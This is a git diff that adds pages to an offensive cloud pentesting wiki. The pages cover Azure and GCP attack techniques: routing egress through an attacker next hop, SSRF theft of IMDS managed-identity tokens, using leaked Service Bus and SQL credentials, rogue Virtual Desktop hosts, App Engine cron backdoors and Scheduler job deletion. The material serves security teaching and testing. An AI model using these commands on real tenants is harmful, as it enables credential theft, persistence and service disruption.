open-rdp \ + --priority 100 --direction Inbound --access Allow --protocol Tcp \ + --destination-port-ranges 3389 --source-address-prefixes + +# Redirect a subnet's outbound traffic through an attacker-controlled next hop +az network route-table route create --resource-group --route-table-name \ + --name hijack-egress --address-prefix 0.0.0.0/0 \ + --next-hop-type VirtualAppliance --next-hop-ip-address +``` + ## References - [1] [VM Applications overview](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md index dd6185cded..382ec69a22 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md @@ -67,6 +67,17 @@ az storage message update --queue-name \ --auth-mode login ``` +### Conditional escalation through a downstream consumer + +Queue messages often trigger Function Apps, Container App jobs, Logic Apps, or custom workers that run as a different managed identity. A principal with `messages/add/action` can supply new input; changing an existing message additionally requires its ID and current pop receipt plus `messages/write`. + +This becomes privilege escalation only when the downstream consumer unsafely treats attacker-controlled fields as commands, URLs/files to fetch, templates, or serialized objects. In that application-specific case, the injected input can cause actions to run with the consumer's identity. Queue write access alone does not grant that identity or guarantee code execution. + +```bash +az storage message put --queue-name --account-name \ + --content '' --auth-mode login +``` + ### DataAction: `Microsoft.Storage/storageAccounts/queueServices/queues/write` Azure's queue-operation authorization table maps `Microsoft.Storage/storageAccounts/queueServices/queues/write` to **Create Queue** and **Set Queue Metadata**. Queue ACL operations are separate: setting an ACL requires `Microsoft.Storage/storageAccounts/queueServices/queues/setAcl/action`, so ACL modification is not included in this permission.[[2]](#references)[[4]](#references) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md index 2f8e138d70..016f959acc 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md @@ -21,6 +21,10 @@ az desktopvirtualization hostpool retrieve-registration-token \ --resource-group ``` +The token is one prerequisite for registering a rogue session host, not a standalone bypass. The VM must also meet Azure Virtual Desktop requirements, including a supported OS, network access, and the host pool's identity model: session hosts must join the users' Microsoft Entra tenant or the applicable AD DS/Microsoft Entra Domain Services domain, and a host pool should not mix join types.[[7]](#references)[[8]](#references) + +If the attacker already controls a compliant VM and the necessary tenant/domain join path, registering it in a pooled host pool can cause users to be brokered to an attacker-administered host. This can expose session data and credentials in the host OS context. Without those prerequisites, possession of the registration token alone is insufficient. + ### Microsoft.Authorization/roleAssignments/read, Microsoft.Authorization/roleAssignments/write > [!WARNING] @@ -49,5 +53,7 @@ For Microsoft Entra joined session hosts that aren't managed by a session host c - [4] [Built-in Azure RBAC roles for Azure Virtual Desktop](https://learn.microsoft.com/en-us/azure/virtual-desktop/rbac) - [5] [Role Assignments - Create By Id - REST API](https://learn.microsoft.com/en-us/rest/api/authorization/role-assignments/create-by-id?view=rest-authorization-2022-04-01) - [6] [Microsoft Entra joined session hosts in Azure Virtual Desktop](https://learn.microsoft.com/en-us/azure/virtual-desktop/azure-ad-joined-session-hosts) +- [7] [Prerequisites for Azure Virtual Desktop](https://learn.microsoft.com/en-us/azure/virtual-desktop/prerequisites) +- [8] [Add session hosts to a host pool](https://learn.microsoft.com/en-us/azure/virtual-desktop/add-session-hosts-host-pool) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md index dad2b28ff2..ffa4006786 100644 --- a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md +++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md @@ -21,8 +21,34 @@ az acr update --name --anonymous-pull-enabled true The `--anonymous-pull-enabled` setting is disabled by default. Once enabled, every repository in the registry becomes publicly readable, and anyone knowing its name can pull images from the `.azurecr.io` endpoint.[[1]](#references) +### Anonymous pull and known-repository enumeration (OCI Registry v2 API) + +When anonymous pull is enabled, anyone can pull content from every repository in the registry. Given a repository name, the OCI Distribution v2 API can also be used to test access and enumerate its tags before pulling an image. + +Do **not** assume anonymous pull grants catalog listing. ACR treats repository catalog listing as a separate permission, and `GET /v2/_catalog` can be denied even while anonymously pulling a known repository succeeds.[[1]](#references)[[2]](#references) + +```bash +# List tags for a known repository +curl -s "https://.azurecr.io/v2//tags/list" + +# Then pull an image anonymously (no docker login) +docker pull .azurecr.io/: +``` + +A single anonymously pullable image can leak connection strings, tokens, or certificates baked into its layers. + +### Internet-exposed registry with a leaked credential + +Non-Premium ACR SKUs only expose a **public** `.azurecr.io` login server (private endpoints are Premium-only), so the endpoint is reachable from anywhere on the internet even when anonymous pull is off. Any leaked ACR credential — an **admin username/password**, a **scoped-token password**, or a **service-principal secret** — is therefore a self-contained bearer credential against that public endpoint, usable from outside the tenant with no Azure session at all. These commonly leak from source code, CI/CD variables, Dockerfiles, or a developer's `~/.docker/config.json`. + +```bash +docker login .azurecr.io -u -p +docker pull .azurecr.io/: +``` + ## References - [1] [Microsoft Learn - Enable unauthenticated anonymous pull access in Azure Container Registry](https://learn.microsoft.com/en-us/azure/container-registry/anonymous-pull-access) +- [2] [Azure Container Registry roles and permissions](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-cosmosdb-unauth.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-cosmosdb-unauth.md new file mode 100644 index 0000000000..4cb554c8ee --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-cosmosdb-unauth.md @@ -0,0 +1,28 @@ +# Az - Cosmos DB Unauthenticated Enumeration + +{{#include ../../../banners/hacktricks-training.md}} + +## Discover candidate account endpoints through DNS + +Cosmos DB account or cluster names appear in public service endpoints. Candidate names can be generated from an organization's brands, domains, and naming conventions, then resolved against the suffixes used by each API: + +- NoSQL: `.documents.azure.com` +- MongoDB (RU): `.mongo.cosmos.azure.com` +- Table: `.table.cosmos.azure.com` +- Cassandra: `.cassandra.cosmos.azure.com` +- Gremlin: `.gremlin.cosmos.azure.com` +- MongoDB (vCore): `.global.mongocluster.cosmos.azure.com` + +```bash +for suffix in documents.azure.com mongo.cosmos.azure.com table.cosmos.azure.com cassandra.cosmos.azure.com gremlin.cosmos.azure.com; do + nslookup ".$suffix" >/dev/null 2>&1 && echo "[+] .$suffix resolves" +done +``` + +DNS resolution confirms that an endpoint exists, not that it belongs to the target tenant. Correlate the result with certificates, application configuration, leaked connection strings, or other target-specific evidence before attributing it. + +## References + +- [1] [Azure Cosmos DB service endpoints](https://learn.microsoft.com/en-us/azure/cosmos-db/account-databases-containers-items) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-servicebus-unauth.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-servicebus-unauth.md new file mode 100644 index 0000000000..a2a1f2fa8d --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-servicebus-unauth.md @@ -0,0 +1,32 @@ +# Az - Service Bus Initial Entry with Leaked Credentials + +{{#include ../../../banners/hacktricks-training.md}} + +## Off-tenant access with a leaked SAS credential + +Azure Service Bus does not provide anonymous queue or topic access. However, a leaked connection string or precomputed Shared Access Signature (SAS) is a standalone data-plane credential and does not require an Azure sign-in. It grants only the `Send`, `Listen`, or `Manage` rights and entity scope encoded by its authorization rule.[[1]](#references) + +If public network access permits the connection and local/SAS authentication is enabled, the credential can be used from outside the victim tenant until the token expires or the underlying key is rotated: + +```python +import asyncio +from azure.servicebus.aio import ServiceBusClient # pip install azure-servicebus + +CONN_STR = "Endpoint=sb://.servicebus.windows.net/;SharedAccessKeyName=;SharedAccessKey=" + +async def run(): + async with ServiceBusClient.from_connection_string(CONN_STR) as client: + async with client.get_queue_receiver(queue_name="", max_wait_time=5) as receiver: + for message in await receiver.receive_messages(max_message_count=20, max_wait_time=5): + print(message) + +asyncio.run(run()) +``` + +Receiving without settling the message reduces destructive side effects, although even receiving can temporarily lock or hide messages depending on the receive mode. Network restrictions, disabled local authentication, and a rule without `Listen` rights prevent this example from working. + +## References + +- [1] [Shared Access Signatures for Azure Service Bus](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-sas) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-sql-unauth.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-sql-unauth.md new file mode 100644 index 0000000000..e6ef7ed835 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-sql-unauth.md @@ -0,0 +1,24 @@ +# Az - SQL Unauthenticated Enumeration & Initial Entry + +{{#include ../../../banners/hacktricks-training.md}} + +## Public endpoint access with leaked SQL credentials + +If an Azure SQL logical server has **Allow Azure services and resources to access this server** enabled, Azure creates the special server firewall rule `0.0.0.0`. It permits connection attempts from Azure resources outside the victim's subscription and tenant. An attacker who already has valid SQL credentials can therefore connect from an attacker-controlled Azure resource without modifying the victim's firewall.[[1]](#references) + +```bash +# Run from an attacker-controlled Azure resource when the 0.0.0.0 rule is enabled. +sqlcmd -S .database.windows.net -U -P -d +``` + +This rule only creates a network path; it does not bypass SQL or Microsoft Entra authentication. Private endpoints, public-network-access settings, and other network controls can still prevent the connection. A conventional rule spanning `0.0.0.0` through `255.255.255.255` exposes the public endpoint to connection attempts from any IPv4 address. + +```bash +az sql server firewall-rule list --resource-group --server -o table +``` + +## References + +- [1] [Azure SQL Database and Azure Synapse Analytics network access controls](https://learn.microsoft.com/en-us/azure/azure-sql/database/network-access-controls-overview) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md index 9c2763b845..dfb03b6a38 100644 --- a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md +++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md @@ -42,6 +42,17 @@ az vm extension image list --output table az vm extension image list --publisher "Site24x7" --output table ``` +### SSRF to IMDS token theft + +A **server-side request forgery** in a public-facing app running on a VM is an unauthenticated initial-entry path into Azure: the bug forces the VM to query its own **Instance Metadata Service** at `169.254.169.254` and return a **managed-identity token**, turning a web vulnerability into cloud credentials with **no Azure identity at all**. The request must carry the `Metadata: true` header (many SSRF primitives allow header injection, or the vulnerable request builder forwards attacker-controlled headers): + +```bash +# Reached via the SSRF, from the VM's own network position: +http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-12-13&resource=https://management.azure.com/ +``` + +The returned bearer token is used against `management.azure.com` / Microsoft Graph exactly as if you were inside the VM. Full technique detail is on the [Cloud SSRF (Azure VM)](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) page. + ## References - [1] [Share Azure Compute Gallery resources with a community gallery | Microsoft Learn](https://learn.microsoft.com/en-us/azure/virtual-machines/share-gallery-community) diff --git a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md index aa4bc56e2c..34b804d9e4 100644 --- a/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md +++ b/src/pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md @@ -32,6 +32,22 @@ gcloud app services set-traffic SERVICE \ The version-specific URL follows `https://VERSION_ID-dot-SERVICE-dot-PROJECT_ID.REGION_ID.r.appspot.com`.[[3]](#references) +### Cron-based persistence (`cron.yaml`) + +App Engine's built-in **Cron service** issues scheduled **HTTP GET** requests to URLs *inside your own app* — the handler runs within the app, as the app's service account. If you can deploy, you can add a `cron.yaml` that periodically hits a backdoor endpoint (or an internal admin path), giving you scheduled, self-triggering execution as the App Engine service account even with no inbound traffic. Cron requests arrive with the header **`X-Appengine-Cron: true`** and originate from Google's internal IPs, so a backdoor handler can distinguish these trusted scheduler calls from public traffic (and defenders can spot unexpected cron entries). + +```yaml +# cron.yaml +cron: +- description: "keepalive" + url: /internal/task + schedule: every 30 minutes +``` + +```bash +gcloud app deploy cron.yaml +``` + ## References - [1] [gcloud app deploy](https://cloud.google.com/sdk/gcloud/reference/app/deploy) diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-scheduler-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-scheduler-post-exploitation.md new file mode 100644 index 0000000000..f53a168cff --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-scheduler-post-exploitation.md @@ -0,0 +1,21 @@ +# GCP - Cloud Scheduler Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## `cloudscheduler.jobs.pause` / `cloudscheduler.jobs.delete` - disruption + +Cloud Scheduler commonly drives batch pipelines, cleanup routines, backups, and certificate or token rotation. A principal with `cloudscheduler.jobs.pause` or `cloudscheduler.jobs.delete` can stop those downstream operations without code execution or `iam.serviceAccounts.actAs`.[[1]](#references)[[2]](#references) + +```bash +gcloud scheduler jobs pause --location= +gcloud scheduler jobs delete --location= --quiet +``` + +A paused job remains present and can be resumed. A deleted job must be recreated. These permissions cause disruption; by themselves they do not grant the identity used by the job and therefore are not privilege-escalation techniques. + +## References + +- [1] [Pause a Cloud Scheduler job](https://cloud.google.com/scheduler/docs/pause-resume-job) +- [2] [Access control with IAM for Cloud Scheduler](https://cloud.google.com/scheduler/docs/access-control) + +{{#include ../../../banners/hacktricks-training.md}}